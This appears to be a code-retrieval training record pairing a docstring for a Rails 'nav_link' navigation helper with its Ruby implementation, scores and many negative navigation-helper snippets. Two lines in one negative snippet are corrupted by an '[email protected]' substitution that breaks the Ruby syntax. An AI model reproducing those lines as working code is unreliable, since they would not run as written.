"0.7339607",
"0.73355496",
"0.73355496",
"0.7333193",
"0.7328342",
"0.73269993",
"0.73228765",
"0.73220974",
"0.73211163",
"0.7317335",
"0.7314187",
"0.7308963",
"0.73052925",
"0.72995615",
"0.72970086",
"0.7296935",
"0.7293824",
"0.729317",
"0.72906995",
"0.72884107",
"0.7284521",
"0.72818553",
"0.72815424",
"0.7281466",
"0.72814584",
"0.7279447",
"0.7272322",
"0.7270619",
"0.7266297",
"0.7265241",
"0.7264568",
"0.7260369"
] | 0.8203214 | 0 |
Generates a link for a navigation bar. It is an li element and will have the active class if the current location is in +paths+. If the current page is the root of the website: nav_link "Home", root_path => 'Home' If the current page is not the root of the website: nav_link "Home", root_path => 'Home' If multiple paths are passed in, it will be active if any of the paths match. The inner a tag will always link to the first path. If the current page is either the about page or the contact page: nav_link "Some Pages", about_path, contact_path => 'Some Pages' If the current page is neither the about page nor the contact page: nav_link "Some Pages", about_path, contact_path => 'Some Pages' | def nav_link(text, *paths)
attrs = paths.any? { |p| current_page?(p) } ? { :class => "active" } : {}
content_tag(:li, attrs) { link_to text, paths.first }
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def nav_link(text, path, link_args={})\n if path.kind_of? Array\n current = path.any? do |p|\n current_page?(p)\n end\n path = path[0]\n else\n current = current_page?(path)\n end\n\n link_args[:class] = \"#{current ? 'active' : ''} nav-link #{link_args[:class] || ''}\"\n\n content_tag(:li, link_to(text, path, link_args), class: \"nav-item\")\n end",
"def navigation_menu(i18n_path, controller_paths, link_to_path, options={})\n code = '<li class=\"'\n code += 'active ' if is_menu_active? controller_paths\n code += 'first ' if options[:first]\n code += \"\\\">\\n\"\n code += link_to(I18n::t(i18n_path), link_to_path) + \"\\n\"\n code += \"</li>\\n\"\n\n code\n end",
"def nav(name=\"\", path=root_path, active='')\n active_class = active == controller.controller_name ? 'activelink' : ''\n markaby do #=> Markaby template.\n li :class => active_class do\n link_to(name, path)\n end\n end\n end",
"def nav_link(link_text, link_path)\n recognized = Rails.application.routes.recognize_path(link_path)\n class_name = recognized[:controller] == params[:controller] ? 'active' : ''\n content_tag(:li, class: class_name) do\n link_to link_text, link_path\n end\n end",
"def nav_link(text, path)\n if current_page? path\n content_tag :li, class: 'active' do\n\n # <span class=\"sr-only\">(current)</span> required for Screen Readers\n link_to path do\n concat text\n concat content_tag :span, '(current)', class: 'sr-only'\n end\n end\n else\n content_tag :li do\n link_to text, path\n end\n end\n end",
"def nav_link_to(label, path, opts = {})\n if @_nav_mode == :dropdown # We insert dropdown-items\n return link_to(label, path, merge_class_key(opts, 'dropdown-item'))\n end\n\n strict = opts.delete(:strict)\n active = (strict ? (request.fullpath == path) : request.fullpath.include?(path))\n\n # Regular nav link item\n content_tag(:li, class: (active ? 'nav-item active' : 'nav-item')) do\n link_to(label, path, merge_class_key(opts, 'nav-link'))\n end\n end",
"def navigation_helper style, tag\nnav_links = <<NAV\n <#{tag}><a href=\"#{root_path}\" class=\"#{style} #{active? root_path}\">Home</a></#{tag}>\n <#{tag}><a href=\"#{about_path}\" class=\"#{style} #{active? about_path}\">About</a></#{tag}>\n <#{tag}><a href=\"#{contact_path}\" class=\"#{style} #{active? contact_path}\">Contact</a></#{tag}>\n <#{tag}><a href=\"#{blogs_path}\" class=\"#{style} #{active? blogs_path}\">Blog</a></#{tag}>\n <#{tag}><a href=\"#{content_news_path}\" class=\"#{style} #{active? content_news_path}\">Twitter</a></#{tag}>\n <#{tag}><a href=\"#{folios_path}\" class=\"#{style} #{active? folios_path}\">Folio</a></#{tag}>\nNAV\n nav_links.html_safe\n end",
"def nav_link(link_text, link_path)\n class_name = current_page?(link_path) ? 'active' : ''\n\n content_tag(:li, :class => class_name) do\n link_to link_text, link_path\n end\n end",
"def output_nav(items)\n html = Array.new\n items.each do |text, path|\n item_path = Rails.application.routes.recognize_path(path)\n current_path = {:action => params[:action], :controller => params[:controller]}\n class_name = text.downcase\n if item_path[:controller] == current_path[:controller] && item_path[:action] == current_path[:action]\n class_name << \" active\"\n end\n html << content_tag(:li, link_to(text, path), :class => class_name)\n end\n html.join(\"\\n\").html_safe\n end",
"def nav_link(link_text, link_path)\n class_name = current_page?(link_path) ? 'current' : ''\n\n # Playlists and Tags routes should also trigger highlighting of the Watch Ignite Videos menu item\n current_uri = request.env['PATH_INFO']\n if ['/tags','/playlists'].include? current_uri and link_path == '/videos'\n class_name = 'current'\n end\n\n content_tag(:li, :class => class_name) do\n link_to link_text, link_path\n end\n end",
"def nav_link(text, route)\n content_tag(:li, class: current_page?(route) ? \"active\" : \"\") do\n link_to text, route\n end\n end",
"def nav_bar_links\n curr_path = request.path\n base_path = curr_path.sub(%r{^(/[^/]*)/.*$}, '\\1')\n curr_prm = url_parameters.except(:limit)\n curr_path += '?' + url_query(curr_prm) if curr_prm.present?\n html_div(class: 'links') do\n first = true\n NAV_BAR_CONTROLLERS.map do |controller|\n if controller == :home\n # Special entry for the dashboard/welcome screen.\n path = dashboard_path\n base = (base_path == '/account')\n label = DASHBOARD_CONFIG[:label]\n tip = DASHBOARD_CONFIG[:tooltip]\n hidden = !current_user\n else\n # Entry for the main page of the given controller.\n path = get_path_for(controller)\n base = (base_path == path)\n label = CONTROLLER_LABEL[controller]\n tip = CONTROLLER_TOOLTIP[controller]\n hidden = (controller == :org) && !current_user\n end\n\n primary = PRIMARY_CONTROLLERS.include?(controller)\n if primary && production_deployment?\n primary &&= !UNRELEASED_CONTROLLERS.include?(controller)\n end\n\n current = (path == curr_path)\n active = current || base\n disabled = current\n\n classes = []\n classes << 'secondary' unless primary\n classes << 'active' if active\n classes << 'disabled' if disabled\n classes << 'hidden' if hidden\n\n # The separator preceding the link.\n sep_css = %w[separator]\n sep_css << 'hidden' if first\n separator = html_span('|', class: css_classes(*classes, *sep_css))\n\n # The link (inactive if already on the associated page).\n tip &&= \"#{tip}\\n\" if disabled\n tip += '(Current_page)' if disabled # TODO: I18n\n opt = { class: css_classes(*classes), title: tip }\n link = disabled ? html_span(label, opt) : link_to(label, path, opt)\n first = false unless hidden\n\n separator << link\n end\n end\n end",
"def nav_link(text, link)\n recognized = Rails.application.routes.recognize_path(link)\n if recognized[:controller] == params[:controller] && recognized[:action] == params[:action]\n content_tag(:li, :class => \"active\") { link_to( text, link ) }\n else\n content_tag(:li) { link_to( text, link ) }\n end\n end",
"def active_link_to(*args, &block)\n if block_given?\n active_link_to(capture(&block), args.first || {}, args.second)\n else\n active = false\n html_options = args.third || {}\n active_paths = html_options.delete(:active_paths)\n active_controllers = html_options.delete(:active_controllers)\n if active_paths.nil? && active_controllers.nil?\n active = true if request.fullpath == args.second\n else\n active_paths.to_a.each do |url_object|\n next if url_object.nil?\n next if url_object.respond_to?(:second) && !url_object.try(:second).try(:persisted?)\n active = request.path == url_for(url_object)\n break if active\n end\n active_controllers.to_a.each do |controller|\n active = params[:controller] == controller.to_s\n break if active\n end\n end\n content_tag :li, active ? { class: 'active' } : nil do\n link_to(*args)\n end\n end\n end",
"def nav_link(*args)\n class_names = \"button\"\n class_names = \"#{class_names} #{args[2][:class]}\" if args.length >= 3\n content_tag(:li, active_link_to(args[0] , args[1] , :title => args[0]), :class => class_names)\n end",
"def site_page_navigation_item(text, path, link_html_opts={}, li_html_opts={})\n li_class = current_page?(path) ? \"active\" : \"\"\n content_tag :li, li_html_opts.merge(:class=>li_class) do\n link_to text.html_safe, path, link_html_opts\n end\n end",
"def nav_link(text, link, options = {})\n #controller, action=\"index\", show_link=true , css_class='')\n options.reverse_merge! :li_class => '', :show_link => true, :a_class => ''\n if current_page?(link)\n if options[:show_link]\n \"<li class=\\\"current #{options[:li_class]}\\\">#{link_to text, link, :class => options[:a_class]}</li>\"\n else\n \"<li class=\\\"current #{options[:li_class]}\\\">#{text}</li>\"\n end\n else\n \"<li class=\\\"#{options[:li_class]}\\\">#{link_to text, link, :class => options[:a_class]}</li>\"\n end\n end",
"def nav_link_to(text, url, options = {})\n is_active = url_for(url.split(\"#\")[0], relative: false) ==\n url_for(current_page.url, relative: false)\n options[:class] ||= \"\"\n options[:class] << \" active\" if is_active\n link_to(text, url, options)\n end",
"def link_to_nav(name, url)\n path = request.path\n current = false\n\n # path - url\n # docs/index.html - /docs/index.html\n # docs/index.html - /docs\n # docs/quickstart/dashboard - /docs\n\n # Strip leading / from the url\n testUrl = url[1..-1]\n\n\n if testUrl == path\n # Exact match\n current = true\n elsif path.start_with? testUrl\n # starts with match\n current = true\n end\n\n if current\n link_to name, url, :class => \"active\"\n else\n link_to name, url\n end\n end",
"def nav_bar\n path_array = self.current_page.split(\"/\").drop(1)\n path_count = path_array.count\n params = self.request_params_display\n \n if URI.unescape(self.current_page) == \"/\"\n nav_bar = \"Index of /\"\n else\n nav_bar = \"Index of <a href=\\'/#{params}'>/</a>\"\n end\n \n previous_path = \"\"\n 0.upto(path_array.count - 1) do |a|\n \n ##\n # Get escaped versions of this path and previous path\n \n escaped_path = path_array[a].gsub(\" \", \"%20\").gsub(\"'\", \"%27\")\n escaped_previous = previous_path.gsub(\" \", \"%20\").gsub(\"'\", \"%27\")\n \n ##\n # If this is the last directory in the path, it shouldn't have a link\n \n if a == path_array.count - 1\n href = \"\"\n else\n href = \"<a href=\\'/#{escaped_previous}#{escaped_path}#{params}\\'>\"\n end\n \n ##\n # If this is the first directory above the root, don't prepend a slash\n \n if a == 0 \n nav_bar << \" #{href}#{path_array[a]}</a>\"\n else\n nav_bar << \" / #{href}#{path_array[a]}</a>\"\n end\n \n previous_path << path_array[a] + \"/\"\n end\n \n @nav_bar = nav_bar\n \n end",
"def nav(name, url, pages = nil, active = false)\n content_tag :li, link_to(name, url), :class => (active || (pages && active_page?(pages)) ? 'act' : nil)\n end",
"def nav_link(link_text, icon_text, link_path)\n\t\tclass_name = current_page?(link_path) ? 'current' : ''\n\n\t\tcontent_tag(:li, :class => class_name) do\n\t\t\tlink_to \"#{icon(icon_text)} <span>#{link_text}</span>\".html_safe, link_path\n\t\tend\n\tend",
"def menu(items, path, level = 0, maxlevel = 1000)\n return '' unless items # No items, nothing to display\n return '' if level >= maxlevel + 1 || level >= items.size # We've gone too deep or there aren't this many levels\n \n val = \"<ul>\";\n # Go through each item on this level and render them as list items\n items[level].each {|item|\n # We're viewing a nav item in the active path, mark it active and show it's children recursively\n if(path && path[level] && item.id == path[level].id)\n val = val + '<li class=\"active\">' + link_to(item.title, item.realpath) + menu(items, path, level+1, maxlevel)\n else\n val = val + '<li>' + link_to(item.title, item.realpath)\n end\n val = val + '</li>'\n }\n return val + \"</ul>\"\n end",
"def nav_link_to(text, path)\n\t\t\tlink_to_unless_current text, path do\n\t\t\t\tlink_to text, '#', :class => 'current'\n\t\t\tend\n\t\tend",
"def navigation_link_to(txt, url)\n\t\tpage_index = request[\"path\"].gsub(\"index.html\",\"\")\n\t\t\n\t\tif url == \"/#{page_index}\"\n\t\t\treturn link_to(txt, url, :class => \"active\")\n\t\tend\n\t\tlink_to(txt,url)\n\tend",
"def draw_link(href, label, current_path = \"\")\n active = active_path?(href, current_path)\n\n l = \"<li\"\n l += active ? ' class=\"active\">' : \">\"\n l += %Q(<a href=\"#{href}\">#{label})\n l += active ? ' <span class=\"sr-only\">(current)</span>' : \"\"\n l += \"</a></li>\"\n end",
"def navigation_link(nav,text=nil)\n text ||= nav\n \"<li id=\\\"#{nav.split(\"/\").last.downcase}_tab\\\">#{link_to(text, :controller => \"/#{nav.downcase}\")}</li>\"\n end",
"def nav_link_to(link_text, link)\n if current_page?(link)\n link_to link_text, link, class: \"active\"\n else\n link_to link_text, link\n end\n end",
"def navigation(txt, path, attrs = {}, options = {}, &block)\n options.reverse_merge!(:container => :ol, :wrapper => :li) \n navigation_content = content_tag(options[:container], capture(&block))\n wrapper_attrs = attrs.delete(:wrapper)\n parent_link = nav_link_to(txt, path, attrs, false)\n content_tag(options[:wrapper], \"#{parent_link}\\n#{navigation_content}\".html_safe, (wrapper_attrs || {})) \n end",
"def nav_link_to(link, url, opts={})\n if current_resource.url == url_for(url)\n opts[:class] << \" active\"\n end\n link_to(link, url, opts)\n end",
"def navigation_helper(label, link_path, link_opts={})\n li_opts = {}\n li_opts = request.path.eql?(link_path) ? { class: \"selected\" } : {}\n content_tag(:li, link_to(label, link_path, link_opts), li_opts)\n end",
"def nav_inactive(paths)\n cls = \"no-active\"\n paths.each do |path|\n if current_page.path.start_with?(path)\n cls = \"\"\n end\n end\n cls\n end",
"def nav_link(section, href, content)\n attributes = {\n :class => ['nav-link'],\n :href => site_url(href),\n }\n attributes[:class].push('active') if (attr 'site-section') == section\n html_tag('a', attributes, content)\n end",
"def navigation(options = {})\n options.reverse_merge!( page: @page, depth: 1 )\n page = options[:page]\n children = page.home? ? page.navigable_children : page.parent.navigable_children\n html = (is_home_and_shown_in_nav?(page) ? nav_link(Page.home) : '').html_safe\n html << list_items(children, options[:depth])\n content_tag(:ul, html, options.slice(:id, :class))\n end",
"def nav(options = {}, &block)\n @nav_link = true\n nav = content_tag :ul, nav_options(options), &block\n nav.tap{ @nav_link = false }\n end",
"def nav_link(linkname1, logged_in_path, linkname2, nonlogged_path)\n if logged_in?\n\tlink_to linkname1, logged_in_path\n\telse\n\tlink_to linkname2, nonlogged_path\n\tend\nend",
"def user_links_for_navigation_bar\n content_tag(:div, class: 'ml-auto') do\n content_tag(:ul, class: 'navbar-nav ml-auto') do\n # User is not signed in.\n if current_user.nil?\n concat(content_tag(:li, class: 'nav-item active') do\n link_to new_user_session_path, class: 'nav-link' do\n icon('person-check') + ' Log In'\n end\n end)\n concat(content_tag(:li, class: 'nav-item active') do\n link_to new_user_registration_path, class: 'nav-link' do\n icon('person-plus') + ' Sign Up'\n end\n end)\n # User is signed in.\n else\n concat(content_tag(:li, class: 'nav-item active') do\n link_to edit_user_registration_path, class: 'nav-link' do\n icon('gear') + ' Edit Profile'\n end\n end)\n concat(content_tag(:li, class: 'nav-item active') do\n link_to destroy_user_session_path, method: :delete, class: 'nav-link' do\n icon('person-dash') + ' Logout'\n end\n end)\n end\n end\n end\n end",
"def navbar_links\n links = {}\n\n if PerDistrict.new.enabled_class_lists? && PerDistrict.new.show_link_for_class_lists? && ClassListQueries.new(@educator).is_relevant_for_educator?\n links[:classlists] = '/classlists'\n end\n\n if PerDistrict.new.enabled_high_school_levels? && @educator.labels.include?('should_show_levels_shs_link')\n links[:levels_shs] = '/levels/shs'\n end\n\n if PerDistrict.new.enabled_counselor_meetings? && @educator.labels.include?('enable_counselor_meetings_page')\n links[:counselor_meetings] = '/counselors/meetings'\n end\n\n if @educator.districtwide_access?\n links[:district] = '/district'\n end\n\n if @educator.school.present? && (@educator.schoolwide_access? || @educator.has_access_to_grade_levels?) && [email protected]_access?\n links[:school] = url_helpers.school_path(@educator.school)\n end\n\n if @educator.school.present? && @educator.schoolwide_access? && [email protected]_access?\n links[:absences] = url_helpers.absences_school_path(@educator.school)\n links[:tardies] = url_helpers.tardies_school_path(@educator.school)\n links[:discipline] = url_helpers.discipline_school_path(@educator.school)\n end\n\n if include_sections_link?(@educator)\n links[:section] = url_helpers.educators_my_sections_path\n end\n\n if @educator.homeroom.present? && [email protected]_high_school? && @educator.homeroom.students.active.size > 0\n links[:homeroom] = url_helpers.homeroom_path(@educator.homeroom.id) # explicitly use id, not slug. see Homeroom.rb for more\n end\n\n links\n end",
"def nav_active(path)\n (current_page.path.start_with? path) ? \"active\" : \"\"\n end",
"def nav_items\n [\n {\n url: root_path,\n title: \"Home\"\n },\n {\n url: about_me_path,\n title: \"About Me\"\n },\n {\n url: contact_path,\n title: \"Contact\"\n },\n {\n url: tech_news_path,\n title: \"Rails News\"\n },\n {\n url: blogs_path,\n title: \"Blog\"\n },\n {\n url: portfolios_path,\n title: \"Portfolio\"\n }\n ]\n end",
"def menu_link_to(name,path,options={})\n style = \"page_item\"\n style = \"current_page_item\" if current_page?(path)\n options.merge!( { :class => \"#{style} btn btn-small\" } )\n link_to( name, path, options )\n end",
"def link(content = nil, options = {}, html_options = nil, &block)\n if block\n content[:nav_type] = type\n content[:nav_tags] = nav_tags\n else\n options[:nav_type] = type\n options[:nav_tags] = nav_tags\n end\n @items << NavLink.new(content, options, html_options, &block)\n end",
"def active_navigation(link_path)\n\t current_page?(link_path) ? 'active' : ''\n\tend",
"def new_nav_helper style, tag_type\n nav_links = ''\n\n nav_items.each do |item|\n nav_links << \"<#{tag_type}><a href='#{item[:url]}' class='#{style} #{active? item[:url]}'>#{item[:title]}</a></#{tag_type}>\"\n end\n\n nav_links.html_safe \n end",
"def navigation\n \tmenuSign = true\n links_data = []\n\n # checking best case scenario when navigation is in HTML5 nav tag\n if menuSign == true\n # getting nav nodes\n menu = @@doc.xpath(\"//nav\")\n \n unless menu.size == 0\n links_data = rate_navigation(menu) \n menuSign = false unless links_data == nil\n end\n end\n\n # if no nav tags were found\n if menuSign == true \n \t# getting divs where id contains any substring 'menu' or 'nav'\n menu2 = @@doc.xpath(\"//div[contains(@id, 'menu') or\n contains(@id, 'Menu') or\n contains(@id, 'nav') or\n contains(@id, 'Nav') or \n contains(@class, 'menu') or \n contains(@class, 'Menu') or \n contains(@class, 'nav') or \n contains(@class, 'Nav')]\") \n\n unless menu2.size == 0\n links_data = rate_navigation(menu2) \n menuSign = false unless links_data == nil\n end\n end\n\n # if no divs with id 'menu' or 'nav' were found\n if menuSign == true \n # getting ul,ol structures in which might be navigation \n menu3 = @@doc.xpath(\"//ul\")\n menu3 += @@doc.xpath(\"//ol\")\n\n unless menu3.size == 0\n links_data = rate_navigation(menu3) \n menuSign = false unless links_data == nil\n end\n end\n\n # chceking the worst case scenario when page might be built using tables\n if menuSign == true\n # getting tables in which might be navigation\n menu4 = @@doc.xpath(\"//table\")\n menu4 += @@doc.xpath(\"//tbody\")\n\n unless menu4.size == 0\n links_data = rate_navigation(menu4) \n menuSign = false unless links_data == nil\n end\n end\n # filling menu in template\n links_data\n end",
"def admin_nav_link(controller, url = false, selected_url = false)\n controller_name = controller.gsub(/ /, \"_\").downcase.pluralize\n url = \"/admin/#{controller_name}\" unless url\n\n css = nil\n if selected_url && request.env['REQUEST_URI'] =~ /#{selected_url}/\n css = \"active\"\n elsif request.env['REQUEST_URI'] =~ /#{url}/\n css = \"active\"\n end\n content_tag(:li, link_to(controller, url), class: css, id: \"admin-nav-#{controller_name.dasherize}\")\n end",
"def nav_active(url)\n active_nav_class = \"current\"\n\n if (url.instance_of? String)\n current_resource.url == url_for(url) ? {class: active_nav_class} : {}\n elsif (url.instance_of? Array)\n url.map { |url| url_for(url) }.include?(current_resource.url) ? {class: active_nav_class} : {}\n else\n {}\n end\n end",
"def active_link_to(text = nil, path = nil, **opts, &block)\n link = block ? text : path # because positional\n content = block ? capture(&block) : text\n opts[:class] = class_names(opts[:class], { active: current_page?(link) })\n\n link_to(link, opts) { content }\n end",
"def set_menu_links\n @menu_link = [{\n link_name: 'Главная',\n link_path: root_path,\n link_class: 'home-class'\n }, {\n link_name: 'QR коды',\n link_path: qr_codes_path\n }, {\n link_name: 'Наши контакты',\n link_path: contacts_path\n }, {\n link_name: 'О нас',\n link_path: about_path\n }]\n\n @users_link = []\n if current_user\n @users_link.push({\n link_name: 'Выход',\n link_path: logout_path,\n link_method: :delete\n })\n else\n @users_link.push({\n link_name: 'Регистрация',\n link_path: new_user_path\n })\n @users_link.push({\n link_name: 'Войти',\n link_path: login_path\n })\n end\n end",
"def top_nav_item(link_text, link_opts, html_opts={})\n css_class = html_opts[:class] || \"\"\n css_class = (css_class.split(/\\s+/)+[\"active\"]).join(\" \") if current_page?(link_opts)\n html_opts[:class] = css_class\n content_tag :li, html_opts do\n link_to(link_text, link_opts)\n end\n end",
"def main_nav_link_helper(role,link_id,link_text,link_title,link_details)\n if has_role?(role)\n (\"<li id='#{link_id}'#{\" class='active'\" if main_nav_guess_current == link_id}>\" +\n link_to(link_text, link_details, :title => link_title) +\n \"</li>\").html_safe\n else\n \"\"\n end\n end",
"def navbar_element(title, page_path, method=\"\")\n content_tag :li, link_to(title, page_path, method: method), class: active_navbar_class(page_path)\n end",
"def navigation_item(item, url = {}, separate = false, &block)\n if block_given?\n return unless yield\n end\n path = (url.empty? ? self.send(\"#{item}_path\".to_sym) : url)\n item_class = (separate ? 'separate' : '')\n out = \"<li id=\\\"#{item}_nav\\\" class=\\\"#{item_class}\\\">\" \n out << link_to(\"#{item.to_s.split('_').collect{|e| e.capitalize}.join(' ')}\", \n path, :class => (@active == \"#{item}\" ? 'active' : ''))\n out << \"</li>\"\n end",
"def active_link_to(name = nil, options = nil, html_options = nil, &block)\n # this is from Rails source - ignore rubocop\n # rubocop:disable Style/ParallelAssignment\n html_options, options, name = options, name, block if block_given?\n options ||= {}\n # rubocop:enable Style/ParallelAssignment\n\n html_options = convert_options_to_data_attributes(options, html_options)\n\n url = url_for(options)\n html_options[\"href\".freeze] ||= url\n\n # Begin custom\n active_children = html_options.delete('active_children')\n active_children = true if active_children.nil?\n current_url = request.env['PATH_INFO']\n if current_page?(url) || (active_children && current_url.include?(url))\n active_class = html_options.delete('active_class') || 'active'\n existing_class = html_options['class'] || ''\n html_options['class'] = existing_class + ' ' + active_class\n end\n # End custom\n\n content_tag(\"a\".freeze, name || url, html_options, &block)\n end",
"def menu_link_to(text, url, options={}, current=nil)\n content_tag :li, link_to(text, url, options), :class => (current.nil? ? part_of_current_url?(url) : current) ? 'current' : nil\n end",
"def main_navigation\n nodes_stack = RailsAdmin::Config.visible_models(:controller => self.controller)\n node_model_names = nodes_stack.map{ |c| c.abstract_model.model_name }\n\n nodes_stack.group_by(&:navigation_label).map do |navigation_label, nodes|\n\n nodes = nodes.select{ |n| n.parent.nil? || !n.parent.to_s.in?(node_model_names) }\n li_stack = navigation nodes_stack, nodes\n\n li_a_home = link_to localizing_path(dashboard_path), class: 'pjax' do\n content_tag(:i, '', class: 'icon icon-home') + content_tag(:span, t('admin.actions.dashboard.menu'))\n end\n %{<li class=\"homelink\">#{li_a_home}</li>#{li_stack}} if li_stack.present?\n end.join.html_safe\n end",
"def bootstrap_nav(*args, &block)\n levels = { :primary => 1, :secondary => 2, :tertiary => 3 }\n options = args.extract_options!\n level = levels[options[:level]] || (options[:level] || 1).to_i\n\n\n # If there are no arguments, use the current page\n args.unshift page if args.empty? && !page.nil?\n \n current_page = page\n \n contents = \"\".tap do |str|\n\n page = current_page # TODO: Can't call page within tap, so we've passed it as a variable. Can we do this better?\n\n # Opening HTML for Twitter Bootstrap Navigation\n if level == 1\n str << '<ul class=\"nav\">'\n else\n str << '<ul class=\"dropdown-menu\">'\n end\n \n pages = args.map do |arg|\n if arg.root?\n arg.children.first\n else \n case arg\n when Breeze::Content::NavigationItem then arg\n else Breeze::Content::NavigationItem.where(:permalink => arg.to_s).first\n end\n end\n end.flatten.compact\n \n ancestry = pages.first ? pages.first.self_and_ancestors.to_a : [ page ]\n\n # If page is undefined, there's no active page\n # This is used for example on the Breeze Commerce Cart and Checkout pages\n # In the longer term, this should be removed, in favour of making the cart a proper page, with checkout as a view\n page ||= nil\n \n active = page ? (page.root? ? [page] : ancestry.dup) : []\n ancestry << ancestry.last.children.first if ancestry.last\n ancestry.compact!\n \n if level <= ancestry.length && ancestry[level].present?\n siblings = ancestry[level].self_and_siblings.to_a.select(&:show_in_navigation?) \n # siblings = page.self_and_siblings.to_a.select(&:show_in_navigation?) \n siblings.unshift ancestry[level - 1] if options[:home] || (level == 1 && options[:home] != false)\n siblings.each_with_index do |p, i|\n page_title = if (options[:home] && options[:home] != true) && (p.level < level || p.root?)\n options[:home]\n case options[:home]\n when true then p.title\n when Symbol then p.send options[:home]\n when Proc then options[:home].call(p)\n else options[:home].to_s\n end\n else\n p.title\n end\n page_title = p.title if page_title.blank?\n \n link_options = ({}).tap do |o|\n o[:class] = [ p.root? ? \"home\" : p.slug ].tap do |classes|\n classes << \"active\" if p == page || (active.index(p).to_i > 0 && p.level == level)\n classes << \"first\" if i == 0\n classes << \"last\" if i == siblings.length - 1\n end.join(\" \")\n end\n \n link = if block_given?\n capture p, link_options, &block\n else\n permalink = p.class.name == \"Breeze::Content::Placeholder\" ? 'javascript:void(0)' : p.permalink\n link_to content_tag(:span, \"#{page_title}\".html_safe), permalink, link_options\n end\n \n recurse = case options[:recurse]\n when true then 3\n when :active then ancestry.include?(p) ? 1 : 0\n when Numeric, /^\\d+$/ then options[:recurse].to_i\n else 0\n end\n \n if recurse > 0 && p.level == level && !p.root?\n unless (child = p.children.first).nil?\n link << bootstrap_nav(child, options.merge(:level => level + 1, :recurse => recurse - 1), &block)\n end\n end\n \n # if options[:full] && p.children\n # p.children.each do |child|\n # link << navigation_bootstrap(child, options.merge(:full => true), &block)\n # end\n # end\n\n li_options = ({}).tap do |o|\n o[:class] = [ p.root? ? \"home\" : p.slug ].tap do |classes|\n classes << \"active\" if p == page || (active.index(p).to_i > 0 && p.level == level)\n classes << \"first\" if i == 0\n classes << \"last\" if i == siblings.length - 1\n classes << \"dropdown\" if p.children.length > 0\n classes << 'level-' + level.to_s\n end.join(\" \")\n end\n \n str << content_tag(:li, link.html_safe, li_options)\n end\n end\n \n # Opening HTML for Twitter Bootstrap Navigation\n str << '</ul>'\n \n end\n # content_tag :div, contents.html_safe, options.except(:level, :recurse).reverse_merge(:class => \"#{levels.invert[level] || \"level-#{level}\"} navigation\")\n contents.html_safe\n \n end",
"def menu menu_name, options = {}\n\toptions = {\n\t :dir_class => 'dir',\n\t :active_dir_class => 'active',\n\t :active_link_class => 'active',\n\t :root => nil\n\t}.deep_merge(options)\n\n\tul_li_menu(menu_name,options) do |page|\n\t if page[:page].page_type=='directory'\n\t page[:page].menu\n\t else\n\t %[<a href=\"#{root_url+page[:page].url}\" #{%[class=\"#{options[:active_link_class]}\"] if options[:active_link_class] && page[:page]==@page}>#{page[:page].menu}</a>]\n\t end\n\tend\n end",
"def user_nav\n if @current_user\n items = {'Home' => root_path, 'My Account' => account_path, 'My Submissions' => current_user_submissions_path}\n else\n if ApplicationSettings.config['user_registration']\n end\n items = {'Home' => root_path, 'Signup' => signup_path}\n end\n output_nav(items)\n end",
"def link_to_navigation_pagination name, urlname, pages, page, css_class = \"\"\n p = {}\n p[\"navigation_level_1_page\"] = params[:navigation_level_1_page] unless params[:navigation_level_1_page].nil?\n p[\"navigation_level_2_page\"] = params[:navigation_level_2_page] unless params[:navigation_level_2_page].nil?\n p[\"navigation_level_3_page\"] = params[:navigation_level_3_page] unless params[:navigation_level_3_page].nil?\n p[\"navigation_level_#{pages.to_a.first.depth}_page\"] = page\n link_to name, show_page_url(urlname, p), :class => (css_class unless css_class.empty?)\n end",
"def get_navigation( options={} )\n \n local_options = {\n :css_class => options[:css_class] || \"menu\",\n :include_home => options[:include_home] || false \n }\n \n @css_class = local_options[:css_class]\n @include_home = local_options[:css_class]\n \n erb :navigation\n \n end",
"def active_navbar_class(page_path)\n current_page?(page_path) ? \"active\" : \"\"\n end",
"def backstage_navigation_item(id, href, controllers = [])\n if controllers.empty? then controllers = [ id.to_s ] end\n\n selected = controllers.any? { |c| c == controller_name } && ' selected'\n\n title = t :\"backstage.navigation.#{id}.title\"\n name = t :\"backstage.navigation.#{id}.name\"\n\n <<-HTML.html_safe\n <li class=\"#{ h id }#{ selected or '' }\">\n <a href=\"#{ href }\" title=\"#{ h title }\">\n <span class=\"icon\">#{ h name }</span>\n </a>\n </li>\n HTML\n end",
"def bsh_navbar_item(display, url, active: true)\n is_active = active && request.path == url\n\n raw <<-HTML.chomp!\n <li class='#{is_active ? 'active' : ''}'><a href='#{url}'>#{display}</a></li>\n HTML\n end",
"def link_to_if_current(text, page, active_class: \"active\")\n if page == current_page\n link_to text, page.request_path, class: active_class\n else\n link_to text, page.request_path\n end\n end",
"def create_navigation_links(actual_page, total_pages, system, sort_by)\n links = \"\"\n if total_pages.to_i > 7\n if actual_page > 1\n links << create_nav_link(\"<<\", 1, system, sort_by, false)\n links << create_nav_link(\"<\", actual_page.to_i - 1, system, sort_by, false)\n if actual_page > 4\n links << \"...\"\n end\n end\n # decide where the actual page is to display\n i=actual_page.to_i - 3 if actual_page.to_i > 3 && actual_page.to_i < total_pages.to_i - 2\n i=actual_page.to_i - 2 if actual_page.to_i == 3\n i=actual_page.to_i - 1 if actual_page.to_i == 2\n i=actual_page.to_i if actual_page.to_i == 1\n i=actual_page.to_i - 4 if actual_page.to_i == total_pages.to_i - 2\n i=actual_page.to_i - 5 if actual_page.to_i == total_pages.to_i - 1\n i=actual_page.to_i - 6 if actual_page.to_i == total_pages.to_i\n 7.times do\n links << create_nav_link(i, i, system, sort_by, i== actual_page.to_i)\n i += 1\n end\n if actual_page < total_pages\n if actual_page < total_pages -3\n links << \"...\"\n end\n if actual_page < total_pages.to_i\n links << create_nav_link(\">\", actual_page + 1, system, sort_by, false)\n links << create_nav_link(\">>\", total_pages, system, sort_by, false)\n end\n end\n else\n i = 1\n total_pages.to_i.times do\n links << create_nav_link(i, i, system, sort_by, i == actual_page.to_i)\n i += 1\n end\n end\n links \n end",
"def links_for_render(options = {})\n out = links.dup\n\n # Handle autoroot\n if options[:autoroot] && out.map(&:key).exclude?(:root) && Gretel::Crumbs.crumb_defined?(:root)\n out.unshift *Gretel::Crumb.new(context, :root).links\n end\n\n # Set current link to actual path\n if options[:link_last_to_current_path] && out.any? && request\n out.last.url = request.fullpath\n end\n\n # Handle show root alone\n if out.size == 1 && !options[:display_single_fragment]\n out.shift\n end\n\n # Set last link to current\n out.last.try(:current!)\n\n out\n end",
"def navigation_list_link_to(name, options = {}, html_options = {})\n content_tag(\"li\", navigation_link_to(name, options, html_options))\n end",
